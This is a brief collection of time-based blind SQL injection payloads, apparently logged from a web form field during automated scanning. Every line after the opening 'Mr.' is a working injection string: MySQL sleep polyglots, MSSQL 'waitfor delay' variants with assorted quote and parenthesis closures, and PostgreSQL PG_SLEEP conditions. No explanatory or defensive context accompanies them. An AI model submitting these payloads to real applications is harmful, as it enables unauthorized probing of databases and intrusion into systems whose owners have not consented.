Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

bCNzzlQL'; waitfor delay '0:0:15' --

V1MZOnNX'); waitfor delay '0:0:15' --

InudZVOQ')); waitfor delay '0:0:15' --

-5 OR 608=(SELECT 608 FROM PG_SLEEP(15))--

-5) OR 886=(SELECT 886 FROM PG_SLEEP(15))--